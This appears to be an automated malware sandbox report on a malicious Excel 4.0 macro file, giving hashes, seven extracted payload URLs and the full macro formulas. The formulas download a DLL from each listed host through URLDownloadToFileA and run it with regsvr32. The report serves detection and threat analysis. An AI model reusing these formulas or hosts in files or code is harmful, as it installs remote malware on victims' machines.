General
-
Target
df2ff7455423e4f4b66affdc7a8b9de64be9b59088b568eb074019d821fd84a0
-
Size
49KB
-
MD5
f5f7a23e23df55b89137f3620f88c6de
-
SHA1
f81e7b9c085ebed6be1a3db5783d8f4181f5a0bc
-
SHA256
df2ff7455423e4f4b66affdc7a8b9de64be9b59088b568eb074019d821fd84a0
-
SHA512
5fec3b9aa79942ceaf4cdd44cb2efa4fdaad30d35c874ec7e68f9acb695a23ed453de5dd183f902503fef9c21b4e99329be97a6b32222ff69beb33c7b44aa336
-
SSDEEP
1536:0AcEOt24xZdRBzH9hJBrdEwwNXekVIe260:dcEc2Kd3zdtdEwoB2t
Malware Config
Extracted
https://alinatourbg.com/mail/TBCGVNzLeENXb/
http://alinac.ca/images/Lp6yKpIpRf6/
http://www.alsancaklimanemlak.com/system/T8nE1jfQ7W/
http://amakpost.com/assets/c8AT1uoCVLSxez/
http://alsanjari.co.uk/alsanjari.com/CynW/
http://alicehui.com/pics/fETgjDyPfUBQp/
http://amasides.my.id/cgi-bin/uFqdwCqAP7mro/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alinatourbg.com/mail/TBCGVNzLeENXb/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alinac.ca/images/Lp6yKpIpRf6/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.alsancaklimanemlak.com/system/T8nE1jfQ7W/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/c8AT1uoCVLSxez/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alsanjari.co.uk/alsanjari.com/CynW/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alicehui.com/pics/fETgjDyPfUBQp/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amasides.my.id/cgi-bin/uFqdwCqAP7mro/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
df2ff7455423e4f4b66affdc7a8b9de64be9b59088b568eb074019d821fd84a0